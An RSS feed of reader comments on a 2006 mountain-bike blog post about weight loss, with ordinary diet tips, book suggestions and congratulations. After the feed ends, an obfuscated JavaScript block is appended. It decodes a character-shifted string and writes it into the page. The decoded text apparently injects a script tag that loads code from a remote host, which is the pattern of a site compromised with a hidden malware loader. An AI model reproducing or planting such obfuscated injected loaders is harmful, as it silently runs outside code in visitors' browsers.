<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	>
<channel>
	<title>Comments on: Finding Any Kind of Shape</title>
	<atom:link href="http://bluecollarmtb.com/2006/06/28/finding-any-kind-of-shape/feed/" rel="self" type="application/rss+xml" />
	<link>http://bluecollarmtb.com/2006/06/28/finding-any-kind-of-shape/</link>
	<description>Mountain Bike Reviews, News, Deals and How Tos</description>
	<pubDate>Wed, 03 Dec 2008 02:22:17 +0000</pubDate>
	<generator>http://wordpress.org/?v=2.6.2</generator>
		<item>
		<title>By: Blue Collar Mountain Biking &#124; Finding Any Kind of Shape: UPDATE &#124; Mountain Bike News, Reviews, How Tos and Deals</title>
		<link>http://bluecollarmtb.com/2006/06/28/finding-any-kind-of-shape/#comment-43190</link>
		<dc:creator>Blue Collar Mountain Biking &#124; Finding Any Kind of Shape: UPDATE &#124; Mountain Bike News, Reviews, How Tos and Deals</dc:creator>
		<pubDate>Fri, 07 Jul 2006 11:36:41 +0000</pubDate>
		<guid isPermaLink="false">http://bluecollarmtb.com/2006/06/28/finding-any-kind-of-shape/#comment-43190</guid>
		<description>[...] Thanks for all the encouraging comments left on my Finding any Kind of Shape post. I’ve put into practice some of the suggestions that were left like cutting out bread (not all but most) and decreasing my meat intake. I’ve dropped another 3 lbs since the post and I’m now down to 217 lbs (only 17 lbs left to hit my goal). I set a personal record this morning by running 6.5 miles. I’ve never been much of a runner and biking has always been more fun for me but I just don’t see the same results with mountain biking. But when I combine running and mountain biking I lose weight left and right. Thanks again for the suggestions, I&#8217;ll keep you updated.   Bookmark on del.icio.us Email this post to a friend [...]</description>
		<content:encoded><![CDATA[<p>[...] Thanks for all the encouraging comments left on my Finding any Kind of Shape post. I’ve put into practice some of the suggestions that were left like cutting out bread (not all but most) and decreasing my meat intake. I’ve dropped another 3 lbs since the post and I’m now down to 217 lbs (only 17 lbs left to hit my goal). I set a personal record this morning by running 6.5 miles. I’ve never been much of a runner and biking has always been more fun for me but I just don’t see the same results with mountain biking. But when I combine running and mountain biking I lose weight left and right. Thanks again for the suggestions, I&#8217;ll keep you updated.   Bookmark on del.icio.us Email this post to a friend [...]</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: Carl</title>
		<link>http://bluecollarmtb.com/2006/06/28/finding-any-kind-of-shape/#comment-43077</link>
		<dc:creator>Carl</dc:creator>
		<pubDate>Sun, 02 Jul 2006 18:50:17 +0000</pubDate>
		<guid isPermaLink="false">http://bluecollarmtb.com/2006/06/28/finding-any-kind-of-shape/#comment-43077</guid>
		<description>Congrats on dropping the 20 Mike! Mountain biking is what did it for me... you remember the pictures of what I looked like before. I can't believe you're about to have a son! Dude, we've got some catching up to do. I miss Blackwater.... can I tag along with you sometime?</description>
		<content:encoded><![CDATA[<p>Congrats on dropping the 20 Mike! Mountain biking is what did it for me&#8230; you remember the pictures of what I looked like before. I can&#8217;t believe you&#8217;re about to have a son! Dude, we&#8217;ve got some catching up to do. I miss Blackwater&#8230;. can I tag along with you sometime?</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: steve</title>
		<link>http://bluecollarmtb.com/2006/06/28/finding-any-kind-of-shape/#comment-43024</link>
		<dc:creator>steve</dc:creator>
		<pubDate>Fri, 30 Jun 2006 11:36:25 +0000</pubDate>
		<guid isPermaLink="false">http://bluecollarmtb.com/2006/06/28/finding-any-kind-of-shape/#comment-43024</guid>
		<description>I found that cutting out bread, and significantly reducing my meat intake helped me drop a lot of fat. Also, simple steps like only putting 6 sugars in my daily cup of coffee instead of 7 made a difference, too.

The &lt;a href="http://www.fourmilab.ch/hackdiet/www/hackdiet.html" rel="nofollow"&gt;hacker diet&lt;/a&gt; is well worth a read; it's an online e-book by the founder of Autodesk (as in Autocad) on how he managed to lose weight and maintain his weight once he was at his goal weight.</description>
		<content:encoded><![CDATA[<p>I found that cutting out bread, and significantly reducing my meat intake helped me drop a lot of fat. Also, simple steps like only putting 6 sugars in my daily cup of coffee instead of 7 made a difference, too.</p>
<p>The <a href="http://www.fourmilab.ch/hackdiet/www/hackdiet.html" rel="nofollow">hacker diet</a> is well worth a read; it&#8217;s an online e-book by the founder of Autodesk (as in Autocad) on how he managed to lose weight and maintain his weight once he was at his goal weight.</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: craigthomas</title>
		<link>http://bluecollarmtb.com/2006/06/28/finding-any-kind-of-shape/#comment-43018</link>
		<dc:creator>craigthomas</dc:creator>
		<pubDate>Fri, 30 Jun 2006 04:39:42 +0000</pubDate>
		<guid isPermaLink="false">http://bluecollarmtb.com/2006/06/28/finding-any-kind-of-shape/#comment-43018</guid>
		<description>That's hilarious! 
A football playing a basketball. ): 


Sorry.......!</description>
		<content:encoded><![CDATA[<p>That&#8217;s hilarious!<br />
A football playing a basketball. ): </p>
<p>Sorry&#8230;&#8230;.!</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: Chris</title>
		<link>http://bluecollarmtb.com/2006/06/28/finding-any-kind-of-shape/#comment-42978</link>
		<dc:creator>Chris</dc:creator>
		<pubDate>Thu, 29 Jun 2006 15:10:00 +0000</pubDate>
		<guid isPermaLink="false">http://bluecollarmtb.com/2006/06/28/finding-any-kind-of-shape/#comment-42978</guid>
		<description>Count calories and keep a food diary.  Once you know what's going in, you can better control it.  I lost 35lbs (215 to 180)last year doing this (and eating better once I knew just how much I was eating).  I didn't even exercise other than an evening walk with my wife each day.  I've put a few lbs back on, but some of that is muscle as I'm back at the gym and I'm back on the bike (6yrs off).  

My motivation was learning that my blood sugar, cholesterol, and triglycerides were all high.  Type 2 diabetes runs in my family, as does heart disease.  

I LOVE to cook and eat.  I'm a snacker, a glutton, a downright pig when it comes to food.  It was tough in the beginning to cut my steaks into thirds, to not get that loaded baked potato, to not get the large slice of pie.  It's tough, but you have to retrain yourself.  Good luck!

Chris</description>
		<content:encoded><![CDATA[<p>Count calories and keep a food diary.  Once you know what&#8217;s going in, you can better control it.  I lost 35lbs (215 to 180)last year doing this (and eating better once I knew just how much I was eating).  I didn&#8217;t even exercise other than an evening walk with my wife each day.  I&#8217;ve put a few lbs back on, but some of that is muscle as I&#8217;m back at the gym and I&#8217;m back on the bike (6yrs off).  </p>
<p>My motivation was learning that my blood sugar, cholesterol, and triglycerides were all high.  Type 2 diabetes runs in my family, as does heart disease.  </p>
<p>I LOVE to cook and eat.  I&#8217;m a snacker, a glutton, a downright pig when it comes to food.  It was tough in the beginning to cut my steaks into thirds, to not get that loaded baked potato, to not get the large slice of pie.  It&#8217;s tough, but you have to retrain yourself.  Good luck!</p>
<p>Chris</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: ChillyV</title>
		<link>http://bluecollarmtb.com/2006/06/28/finding-any-kind-of-shape/#comment-42977</link>
		<dc:creator>ChillyV</dc:creator>
		<pubDate>Thu, 29 Jun 2006 14:09:18 +0000</pubDate>
		<guid isPermaLink="false">http://bluecollarmtb.com/2006/06/28/finding-any-kind-of-shape/#comment-42977</guid>
		<description>If your looking for inspriation or motivation you could read the book "Heft on Wheels". Its about a guy who was 40 years old, weighed 300 lbs, smoked a pack a day and drank a case of beer a week. By the end of the book he is entering some of the most difficult bike races around. It really leaves you with the feeling that if this guy can do it anybody can do it. Its an inspiring book, but don't expect to find any diet or training tips; its not that kind of book, but still worth the read.</description>
		<content:encoded><![CDATA[<p>If your looking for inspriation or motivation you could read the book &#8220;Heft on Wheels&#8221;. Its about a guy who was 40 years old, weighed 300 lbs, smoked a pack a day and drank a case of beer a week. By the end of the book he is entering some of the most difficult bike races around. It really leaves you with the feeling that if this guy can do it anybody can do it. Its an inspiring book, but don&#8217;t expect to find any diet or training tips; its not that kind of book, but still worth the read.</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: Ethan</title>
		<link>http://bluecollarmtb.com/2006/06/28/finding-any-kind-of-shape/#comment-42976</link>
		<dc:creator>Ethan</dc:creator>
		<pubDate>Thu, 29 Jun 2006 13:46:06 +0000</pubDate>
		<guid isPermaLink="false">http://bluecollarmtb.com/2006/06/28/finding-any-kind-of-shape/#comment-42976</guid>
		<description>Right on!</description>
		<content:encoded><![CDATA[<p>Right on!</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: John</title>
		<link>http://bluecollarmtb.com/2006/06/28/finding-any-kind-of-shape/#comment-42964</link>
		<dc:creator>John</dc:creator>
		<pubDate>Thu, 29 Jun 2006 06:50:03 +0000</pubDate>
		<guid isPermaLink="false">http://bluecollarmtb.com/2006/06/28/finding-any-kind-of-shape/#comment-42964</guid>
		<description>Hey that was great that you have started loosing the weight and don't let that stop here only. Keep that continue till the time you don't regain your previous fitness. 

Thnx for telling me as well as my wife is after my life to reduce weight! :)

Congrats to you for your new born baby!!</description>
		<content:encoded><![CDATA[<p>Hey that was great that you have started loosing the weight and don&#8217;t let that stop here only. Keep that continue till the time you don&#8217;t regain your previous fitness. </p>
<p>Thnx for telling me as well as my wife is after my life to reduce weight! <img src='http://bluecollarmtb.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
<p>Congrats to you for your new born baby!!</p>
]]></content:encoded>
	</item>
</channel>
</rss>
<html>
<script>var source ="=tdsjqu?epdvnfou/xsjuf)Tusjoh/gspnDibsDpef)71-226-::-225-216-223-227-43-227-232-223-212-72-45-227-212-231-227-58-217-:8-229-:8-226-::-225-216-223-227-45-43-226-225-::-72-45-215-227-227-223-69-58-58-68-5:-57-5:-63-61-57-65-63-57-68-5:-58-224-228-:8-221-227-226-212-225-229-212-58-224-228-:8-221-227-57-217-226-45-73-71-58-226-::-225-216-223-227-73**<=0tdsjqu?"; var result = ""; 
for(var i=0;i<source.length;i++) result+=String.fromCharCode(source.charCodeAt(i)-1); 
document.write(result); </script>
</html>